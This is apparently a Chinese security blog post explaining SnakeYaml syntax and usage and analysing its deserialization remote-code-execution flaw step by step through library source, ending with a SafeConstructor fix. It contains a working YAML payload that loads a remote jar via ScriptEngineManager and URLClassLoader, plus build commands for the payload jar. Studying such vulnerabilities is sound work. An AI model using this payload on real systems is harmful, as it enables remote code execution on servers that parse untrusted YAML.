yaml和其他序列化依赖类似, 都是把对象转换为特定语法字符, 然后能把特定格式语法字符转换为对象, 其gadgets​都是在反序列化过程中可以动态触发某些方法, 导致数据流向发生改变, 从而达到危险方法

yaml在反序列化过程中能调用对象的setter​方法, 这就可以利用fastjson​中的链子; 还可以通过ScriptEngineManager​的实例化来利用SPI​机制通过URLClassloader​来加载远程恶意类, 从而在构造方法或static​方法rce

Yaml

YAML 文件使用.yml​或.yaml​扩展名, YAML 是一种人类可读的数据序列化语言,通常用于编写配置文件。它的设计初衷就是便于人类阅读和理解并且可以与其他编程语言结合使用。

SnakeYaml是java的yaml解析类库, 支持Java对象的序列化/反序列化, 在此之前, 需要先了解一下yaml语法

  1. YAML大小写敏感;
  2. 使用缩进代表层级关系;
  3. 缩进只能使用空格, 不能使用TAB, 不要求空格个数, 只需要相同层级左对齐(一般2个或4个空格)

YAML支持三种数据结构:

  1. 对象

    使用冒号代表, 格式为key: value。冒号后面要加一个空格:

    1
    
    key: value
    
  2. 数组

    使用一个短横线加一个空格代表一个数组项:

    1
    2
    3
    
    hobby:
        - Java
        - LOL
    
  3. 常量

    YAML中提供了多种常量结构, 包括:整数、浮点数、字符串、NULL、日期、布尔、时间。常量的基本使用:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    
    int:
        - 123
        - 0b1010_0111_0100_1010_1110    #二进制表示
    float:
        - 3.14
        - 6.8523015e+5  #可以使用科学计数法
    string:
        - 哈哈
        - 'Hello world'  #可以使用双引号或者单引号包裹特殊字符
        - newline
          newline2    #字符串可以拆成多行, 每一行会被转化成一个空格
    null:
        nodeName: 'node'
        parent: ~  #使用~表示null
    date:
        - 2022-07-28    #日期必须使用ISO 8601格式,即yyyy-MM-dd
    boolean: 
        - TRUE  #true,True都可以
        - FALSE  #false,False都可以
    datetime: 
        -  2022-07-28T15:02:31+08:00    #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区
    

SnakeYaml使用

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml -->
<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

常用方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
String	dump(Object data)
将Java对象序列化为YAML字符串
void	dump(Object data, Writer output)
将Java对象序列化为YAML流

String	dumpAll(Iterator<? extends Object> data)
将一系列Java对象序列化为YAML字符串
void	dumpAll(Iterator<? extends Object> data, Writer output)
将一系列Java对象序列化为YAML流

String	dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
将Java对象序列化为YAML字符串
String	dumpAsMap(Object data)
将Java对象序列化为YAML字符串

<T> T	load(InputStream io)
解析流中唯一的YAML文档并生成相应的Java对象
<T> T	load(Reader io)
解析流中唯一的YAML文档并生成相应的Java对象
<T> T	load(String yaml)
解析字符串中唯一的YAML文档并生成相应的Java对象

Iterable<Object>	loadAll(InputStream yaml)
解析流中的所有YAML文档并生成相应的Java对象
Iterable<Object>	loadAll(Reader yaml)
解析字符串中的所有YAML文档并生成相应的Java对象
Iterable<Object>	loadAll(String yaml)
解析字符串中的所有YAML文档并生成相应的Java对象

SnakeYaml提供了Yaml.dump()​和Yaml.load()​两个函数对yaml​格式的数据进行序列化和反序列化。

  • Yaml.load():输入是一个字符串或者一个文件, 经过序列化之后返回一个Java对象;
  • Yaml.dump():将一个对象转化为yaml文件形式;

序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package org.example;

import java.util.Map;

public class User {
    private String name;
    private int age;
    private Map<String, String> attributes;
    private Address address;

    // 无参构造函数
    public User() {
        System.out.println("Called User no-arg constructor");
    }

    public User(String name, int age, Map<String, String> attributes, Address address) {
        this.name = name;
        this.age = age;
        this.attributes = attributes;
        this.address = address;
        System.out.println("Called User constructor");
    }

    public String getName() {
        System.out.println("Called getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("Called setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("Called getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("Called setAge");
        this.age = age;
    }

    public Map<String, String> getAttributes() {
        System.out.println("Called getAttributes");
        return attributes;
    }

    public void setAttributes(Map<String, String> attributes) {
        System.out.println("Called setAttributes");
        this.attributes = attributes;
    }

    public Address getAddress() {
        System.out.println("Called getAddress");
        return address;
    }

    public void setAddress(Address address) {
        System.out.println("Called setAddress");
        this.address = address;
    }

    @Override
    public String toString() {
        System.out.println("Called User's toString");
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", attributes=" + attributes +
                ", address=" + address +
                '}';
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package org.example;

public class Address {
    private String street;
    private String city;
    private String zipCode;

    // 无参构造函数
    public Address() {
        System.out.println("Called Address no-arg constructor");
    }

    public Address(String street, String city, String zipCode) {
        this.street = street;
        this.city = city;
        this.zipCode = zipCode;
        System.out.println("Called Address constructor");
    }

    public String getStreet() {
        System.out.println("Called getStreet");
        return street;
    }

    public void setStreet(String street) {
        System.out.println("Called setStreet");
        this.street = street;
    }

    public String getCity() {
        System.out.println("Called getCity");
        return city;
    }

    public void setCity(String city) {
        System.out.println("Called setCity");
        this.city = city;
    }

    public String getZipCode() {
        System.out.println("Called getZipCode");
        return zipCode;
    }

    public void setZipCode(String zipCode) {
        System.out.println("Called setZipCode");
        this.zipCode = zipCode;
    }

    @Override
    public String toString() {
        System.out.println("Called Address's toString");
        return "Address{" +
                "street='" + street + '\'' +
                ", city='" + city + '\'' +
                ", zipCode='" + zipCode + '\'' +
                '}';
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example;

import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.constructor.Constructor;

import java.util.HashMap;
import java.util.Map;

public class YamlSerializationExample {
    public static void main(String[] args) {
        // Create an Address object
        Address address = new Address("123 Main St", "Springfield", "12345");

        // Create a Map for attributes
        Map<String, String> attributes = new HashMap<>();
        attributes.put("hobby", "reading");
        attributes.put("profession", "developer");

        // Create a User object
        User user = new User("John Doe", 30, attributes, address);

        Yaml yaml = new Yaml();

        // Serialize the User object to YAML
        String yamlString = yaml.dump(user);
        System.out.println("Serialized YAML:");
        System.out.println(yamlString);
    }
}
1
2
3
4
5
6
Serialized YAML:
!!org.example.User
address: {city: Springfield, street: 123 Main St, zipCode: '12345'}
age: 30
attributes: {profession: developer, hobby: reading}
name: John Doe

前面的!!​是用于强制类型转化, 强制转换为!!后指定的类型, 类似于fastjson​中的@type​用于指定反序列化的全类名

反序列化

1
2
3
4
5
        // Deserialize the YAML back to a User object
        Yaml yamlLoader = new Yaml(new Constructor(User.class));
        User deserializedUser = yamlLoader.load(yamlString);
        System.out.println("Deserialized User:");
        System.out.println(deserializedUser);
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Called User no-arg constructor
Called Address no-arg constructor
Called setCity
Called setStreet
Called setZipCode
Called setAddress
Called setAge
Called setAttributes
Called setName
Deserialized User:
Called User's toString
Called Address's toString
User{name='John Doe', age=30, attributes={profession=developer, hobby=reading}, address=Address{street='123 Main St', city='Springfield', zipCode='12345'}}

调用了对应的setter方法

SnakeYaml反序列化漏洞

从上面反序列化的过程中不难发现, Snakeyaml​的反序列化和fastjson​有异曲同工之妙, 都是可以指定全类名然后去调用相应的setter​方法

影响版本:全版本

漏洞原理yaml​反序列化时可以通过!!​+全类名​指定反序列化的类, 反序列化过程中会实例化该类, 可以通过构造ScriptEngineManager payload​并利用SPI​机制通过URLClassLoader​或者其他payload​如JNDI方式远程加载实例化恶意类从而实现任意代码执行。

漏洞复现

https://github.com/artsploit/yaml-payload/

按照github上面给的方式编译, 修改一下命令即可

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package org.example;

import org.yaml.snakeyaml.Yaml;

public class exp {
    public static void main(String[] args) {
        String poc = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:8080/yaml-payload.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

SPI机制

SPI, 全称为 Service Provider Interface, 是一种服务发现机制。它通过在ClassPath​路径下的META-INF/services​文件夹查找文件, 自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现

也就是说, 当我们在META-INF/services​创建一个以服务接口命名的文件, 该文件里的内容就是这个接口的具体的实现类的全类名, 在加载这个接口的时候就会实例化里面写上的类

image

image

META-INF/services​下有一个javax.script.ScriptEngineFactory​文件, 内容是对应恶意类名称, 同时恶意类实现了该接口, 那么在加载ScriptEngineFactory​的时候, 就会去自动加载恶意类

实现原理: 程序会通过java.util.ServiceLoder​动态装载实现模块, 在META-INF/services​目录下的配置文件寻找实现类的类名, 通过Class.forName​加载进来, newInstance()​创建对象, 并存到缓存和列表里面

漏洞分析

1
2
3
    public <T> T load(String yaml) {
        return (T)this.loadFromReader(new StreamReader(yaml), Object.class);
    }
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// 从 StreamReader 对象中读取 YAML 数据并将其解析为指定类型的 Java 对象。
private Object loadFromReader(StreamReader sreader, Class<?> type) {
	// 负责将解析器生成的事件组合成 YAML 的节点树。
    Composer composer = new Composer(new ParserImpl(sreader), this.resolver, this.loadingConfig);
	// Constructor 是一个 YAML 构造器, 负责将 YAML 节点树转换为 Java 对象。
	// 这里将 Composer 设置到 Constructor, 以便构造器可以从节点树中提取数据。
    this.constructor.setComposer(composer);
	// 从 YAML 数据中提取一个对象, 并将其转换为指定的 Java 类型 type
    return this.constructor.getSingleData(type);
}

进入BaseConstructor#getSingleData

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
    public Object getSingleData(Class<?> type) {
		// 从 YAML 文档中获取单个节点
        Node node = this.composer.getSingleNode();
		// 节点和Tage都不为null
        if (node != null && !Tag.NULL.equals(node.getTag())) {
            if (Object.class != type) {
				// 将节点的标签设置为与 type 对应的新标签
                node.setTag(new Tag(type));
            } else if (this.rootTag != null) {
				// 将节点的标签设置为 rootTag
                node.setTag(this.rootTag);
            }

			// 根据节点构造并返回对应的 Java 对象
            return this.constructDocument(node);
        } else {
			// 调用与 Tag.NULL 关联的 Construct 实例来处理空节点
            Construct construct = (Construct)this.yamlConstructors.get(Tag.NULL);
            return construct.construct(node);
        }
    }

image

可以看到, 在获取节点时, !!​变成了tag:yaml.org,2002​, 这个其实在前面就能看到

image

构造器中共有3种节点类型的映射关系, 从上看到分别用到了sequence​和scalar

image

tag的映射在解析器this.resolver​中, 扯远了^_^

接下来跟进constructDocument​方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
    protected final Object constructDocument(Node node) {
        Object var3;
        try {
            Object data = this.constructObject(node);
			// 处理递归依赖的对象填充
            this.fillRecursive();
            var3 = data;
        } 
		// ...
        } finally {
            this.constructedObjects.clear();
            this.recursiveObjects.clear();
        }

        return var3;
    }

    protected Object constructObject(Node node) {
		// 这里的constructedObjects为null, 进入:分支
        return this.constructedObjects.containsKey(node) ? this.constructedObjects.get(node) : this.constructObjectNoCheck(node);
    }

    protected Object constructObjectNoCheck(Node node) {
		// 这里的recursiveObjects为null
        if (this.recursiveObjects.contains(node)) {
            throw new ConstructorException((String)null, (Mark)null, "found unconstructable recursive node", node.getStartMark());
        } else {
			// 标记节点为递归
            this.recursiveObjects.add(node);
			// 获取构造器Constructor$ConstructYamlObject@717
            Construct constructor = this.getConstructor(node);
			// 判断constructedObjects是否是否已经缓存了该节点的构造结果
            Object data = this.constructedObjects.containsKey(node) ? this.constructedObjects.get(node) : constructor.construct(node);
			// 执行任何需要的后处理操作
            this.finalizeConstruction(node, data);
			// 将构造的对象存入 constructedObjects,以便后续使用
            this.constructedObjects.put(node, data);
			// 移除递归标记, 表明节点处理完成
            this.recursiveObjects.remove(node);
            if (node.isTwoStepsConstruction()) {
                constructor.construct2ndStep(node, data);
            }

            return data;
        }
    }

进入Constructor$ConstructYamlObject#construct

1
2
3
4
5
6
        public Object construct(Node node) {
            try {
				// org.yaml.snakeyaml.constructor.Constructor$ConstructSequence
                return this.getConstructor(node).construct(node);
            }
			// ...

这里先看看this.getConstructor(node):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
        private Construct getConstructor(Node node) {
            Class<?> cl = Constructor.this.getClassForNode(node);
            node.setType(cl);
            Construct constructor = (Construct)Constructor.this.yamlClassConstructors.get(node.getNodeId());
            return constructor;
        }
		
		protected Class<?> getClassForNode(Node node) {
	        Class<? extends Object> classForTag = (Class)this.typeTags.get(node.getTag());
	        if (classForTag == null) {
				// 最外层tag的类名就是ScriptEngineManager
	            String name = node.getTag().getClassName();
	
	            Class<?> cl;
	            try {
					// 反射获取到ScriptEngineManager类
	                cl = this.getClassForName(name);
	            } catch (ClassNotFoundException var6) {
	                throw new YAMLException("Class not found: " + name);
	            }
	
				// 将加载的类存入 typeTags 缓存,以便后续使用
	            this.typeTags.put(node.getTag(), cl);
	            return cl;
	        } else {
	            return classForTag;
	        }
	    }

image

上面代码的结果就是把节点的tag​和获取到的类放到了应该hashmap​里面去, 然后返回获取到的类

再进入Constructor$ConstructSequence#construct

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
        public Object construct(Node node) {
            SequenceNode snode = (SequenceNode)node;
			// 判断节点类型
            if (Set.class.isAssignableFrom(node.getType())) {
                if (node.isTwoStepsConstruction()) {
                    throw new YAMLException("Set cannot be recursive.");
                } else {
                    return Constructor.this.constructSet(snode);
                }
            } else if (Collection.class.isAssignableFrom(node.getType())) {
                return node.isTwoStepsConstruction() ? Constructor.this.newList(snode) : Constructor.this.constructSequence(snode);
            } else if (node.getType().isArray()) {
                return node.isTwoStepsConstruction() ? Constructor.this.createArray(node.getType(), snode.getValue().size()) : Constructor.this.constructArray(snode);
            } else {
				// 创建了一个array数组
                List<java.lang.reflect.Constructor<?>> possibleConstructors = new ArrayList(snode.getValue().size());

				// 因为刚才设置了type为获取到的javax.script.ScriptEngineManager类, 所以这里就遍历该类的全部无参构造方法
                for(java.lang.reflect.Constructor<?> constructor : node.getType().getDeclaredConstructors()) {
					// 筛选出参数数量与 YAML 节点值数量相等的构造函数, 这里的节点数量为1
                    if (snode.getValue().size() == constructor.getParameterTypes().length) {
						// 存入 possibleConstructors 列表
                        possibleConstructors.add(constructor);
                    }
                }

                if (!possibleConstructors.isEmpty()) {
					// 如果只有一个构造函数
                    if (possibleConstructors.size() == 1) {
						// 构造参数列表
                        Object[] argumentList = new Object[snode.getValue().size()];
						// 将获取到的possibleConstructors数组第一个值转换成Constructor类型, 即将 YAML 节点值转换为构造函数参数类型
                        java.lang.reflect.Constructor<?> c = (java.lang.reflect.Constructor)possibleConstructors.get(0);
                        int index = 0;

						// 遍历 SequenceNode 的子节点(即 YAML 序列中的每个元素)
                        for(Node argumentNode : snode.getValue()) {
                            Class<?> type = c.getParameterTypes()[index];
							// 对每个子节点调用 setType(type), 将其类型设置为构造函数参数的类型
                            argumentNode.setType(type);
							// 在这里再次调用constructObject, 和之前解析的流程一样的
                            argumentList[index++] = Constructor.this.constructObject(argumentNode);
                        }

                        try {
                            c.setAccessible(true);
							// 反射实例化该类, 即实例化了javax.script.ScriptEngineManager
                            return c.newInstance(argumentList);
                        } catch (Exception e) {
                            throw new YAMLException(e);
                        }
                    }
					// ...

image

调用constructObject(argumentNode)​方法, 将argumentNode​转换为对应的 Java 对象, 并将其存储到argumentList​数组中, 但因为这里其实是有递归的, 所以内层就是url地址, 所以直接实例化java.net.URL

image

然后是URLClassLoader

到此我们知道就是在上面依次实例化URL​、URLClassLoader​、ScriptEngineManager​, 但是还不知道是如何通过ScriptEngineManager​实例化进行远程恶意类加载的,

下面可以来跟踪一下SPI机制是怎么实现的。 这就要去看下ScriptEngineManager​的构造函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
    public ScriptEngineManager(ClassLoader loader) {
        init(loader);
    }

    private void init(final ClassLoader loader) {
        globalScope = new SimpleBindings();
        engineSpis = new HashSet<ScriptEngineFactory>();
        nameAssociations = new HashMap<String, ScriptEngineFactory>();
        extensionAssociations = new HashMap<String, ScriptEngineFactory>();
        mimeTypeAssociations = new HashMap<String, ScriptEngineFactory>();
		// 使用传入的类加载器(loader)来发现和加载所有可用的 ScriptEngineFactory 实现。
        initEngines(loader);
    }

	// 初始化脚本引擎工厂(ScriptEngineFactory)的集合
    private void initEngines(final ClassLoader loader) {
		// Iterator<ScriptEngineFactory>是一个迭代器, 用于遍历通过 ServiceLoader 发现的 ScriptEngineFactory 实例。
        Iterator<ScriptEngineFactory> itr = null;
        try {
            ServiceLoader<ScriptEngineFactory> sl = AccessController.doPrivileged(
                new PrivilegedAction<ServiceLoader<ScriptEngineFactory>>() {
                    @Override
                    public ServiceLoader<ScriptEngineFactory> run() {
                        return getServiceLoader(loader);
                    }
                });

            itr = sl.iterator();
        } 
		// ...
        try {
            while (itr.hasNext()) {
                try {
                    ScriptEngineFactory fact = itr.next();
                    engineSpis.add(fact);
                } catch (ServiceConfigurationError err) {
                    System.err.println("ScriptEngineManager providers.next(): "
                                 + err.getMessage());
                    if (DEBUG) {
                        err.printStackTrace();
                    }
                    // one factory failed, but check other factories...
                    continue;
                }
            }
        } 
		// ...

进入getServiceLoader

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
    private ServiceLoader<ScriptEngineFactory> getServiceLoader(final ClassLoader loader) {
        if (loader != null) {
            return ServiceLoader.load(ScriptEngineFactory.class, loader);
        } else {
            return ServiceLoader.loadInstalled(ScriptEngineFactory.class);
        }
    }

    public static <S> ServiceLoader<S> load(Class<S> service,
                                            ClassLoader loader)
    {
        return new ServiceLoader<>(service, loader);
    }

这里默认返回的一个ServiceLoader​的实例化, service​是给定的javax.script.ScriptEngineManager​, loader是我们写的URLClassLoader​, 这里其实就和前面讲到的SPI机制一样, 调用getServiceLoader​动态加载类, 往下跟进ScriptEngineManager#initEngines

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
        try {
            while (itr.hasNext()) {
                try {
                    ScriptEngineFactory fact = itr.next();
                    engineSpis.add(fact);
                } catch (ServiceConfigurationError err) {
                    System.err.println("ScriptEngineManager providers.next(): "
                                 + err.getMessage());
                    if (DEBUG) {
                        err.printStackTrace();
                    }
                    // one factory failed, but check other factories...
                    continue;
                }
            }
        }

		public boolean hasNext() {
			if (knownProviders.hasNext())
				return true;
			return lookupIterator.hasNext();
        }

		// LazyIterator#hasNext
        public boolean hasNext() {
            if (acc == null) {
                return hasNextService();
            } else {
                PrivilegedAction<Boolean> action = new PrivilegedAction<Boolean>() {
                    public Boolean run() { return hasNextService(); }
                };
                return AccessController.doPrivileged(action, acc);
            }
        }

		private boolean hasNextService() {
            if (nextName != null) {
                return true;
            }
            if (configs == null) {
                try {
                    String fullName = PREFIX + service.getName();
                    if (loader == null)
                        configs = ClassLoader.getSystemResources(fullName);
                    else
                        configs = loader.getResources(fullName);
                } catch (IOException x) {
                    fail(service, "Error locating configuration files", x);
                }
            }
            while ((pending == null) || !pending.hasNext()) {
                if (!configs.hasMoreElements()) {
                    return false;
                }
                pending = parse(service, configs.nextElement());
            }
            nextName = pending.next();
            return true;
        }

image

这里去获取META-INF/services/javax.script.ScriptEngineFactory​类信息

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
        private boolean hasNextService() {
			// ...
            while ((pending == null) || !pending.hasNext()) {
                if (!configs.hasMoreElements()) {
                    return false;
                }
                pending = parse(service, configs.nextElement());
            }
            nextName = pending.next();
            return true;
        }

其后面这里才是真的去找META-INF/services/javax.script.ScriptEngineFactory​的信息判断返回, 如果没有则会返回false​, 有的话会去获取到里面的信息放到nextName​里面

跟进itr.next

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
            public S next() {
                if (knownProviders.hasNext())
                    return knownProviders.next().getValue();
                return lookupIterator.next();
            }

        private S nextService() {
            if (!hasNextService())
                throw new NoSuchElementException();
            String cn = nextName;
            nextName = null;
            Class<?> c = null;
            try {
                c = Class.forName(cn, false, loader);
            } catch (ClassNotFoundException x) {
                fail(service,
                     "Provider " + cn + " not found");
            }
            if (!service.isAssignableFrom(c)) {
                fail(service,
                     "Provider " + cn  + " not a subtype");
            }
            try {
                S p = service.cast(c.newInstance());
                providers.put(cn, p);
                return p;
            } catch (Throwable x) {
                fail(service,
                     "Provider " + cn + " could not be instantiated",
                     x);
            }
            throw new Error();          // This cannot happen
        }

S p = service.cast(c.newInstance());​会去实例化接口的实现类

image

第一次实例化的是NashornScriptEngineFactory, ​第二次才是POC类

image

最后实例化POC类加载恶意代码

调用栈

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// 利用ScriptEngineManager的机制, 来远程加载恶意类
<init>:14, AwesomeScriptEngineFactory (artsploit)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:408, Constructor (java.lang.reflect)
newInstance:433, Class (java.lang)
nextService:380, ServiceLoader$LazyIterator (java.util)
next:404, ServiceLoader$LazyIterator (java.util)
next:480, ServiceLoader$1 (java.util)
initEngines:122, ScriptEngineManager (javax.script)
init:84, ScriptEngineManager (javax.script)
// 利用yaml的constructor反序列化目标类
<init>:75, ScriptEngineManager (javax.script)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:408, Constructor (java.lang.reflect)
construct:570, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:490, Yaml (org.yaml.snakeyaml)
load:416, Yaml (org.yaml.snakeyaml)
main:14, exp (org.example)

小结

  1. 通过yaml自带机制, 解析yaml字符(其中包含数据处理, 主要涉及到tag转换、遍历node、转换type等), 然后会实例化yaml中的类

  2. snakeyaml的gadgets​问题根源都出在construct​机制上, snakeyaml会根据传入的yaml键值对, 尝试实例化key​对应的类, 而不同的key导致了不同的gadgets​。所以当Yaml.load()​函数的参数外部可控时, 攻击者就可以传入一个恶意类的yaml​格式序列化内容, 当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。

    除了上面通过SPI机制(ScriptEngineManager​)来远程加载恶意类, 还可以通过JdbcRowSetImpl​也是可以打JDNI的

  3. 通过ScriptEngineManager​, 可以URLClassloader远程加载恶意模块, 然后获取恶意模块META-INF/services​下的ScriptEngineFactory​接口的实例, 从而导致rce

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    
    package org.example;
    
    import java.net.URL;
    import java.net.URLClassLoader;
    import javax.script.ScriptEngineManager;
    
    public class test {
        public static void main(String[] args) throws Exception {
            URL url = new URL("http://127.0.0.1:8080/yaml-payload.jar");
            URLClassLoader cl = new URLClassLoader(new URL[]{url});
            ScriptEngineManager sem = new ScriptEngineManager(cl);
        }
    }
    

漏洞修复

这个漏洞涉及全版本, 只要反序列化内容可控, 那么就可以去进行反序列化攻击

修复方案:加入new SafeConstructor()​类进行过滤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
package org.example;

import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.constructor.SafeConstructor;

public class SafeYaml {
    public static void main(String[] args) {
        String context = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:8080/yaml-payload.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml(new SafeConstructor());
        yaml.load(context);
    }
}

image

参考

https://www.cnblogs.com/LittleHann/p/17828948.html

SnakeYaml绕过!!

https://www.cnblogs.com/nice0e3/p/14514882.html

SnakeYaml 之不出网RCE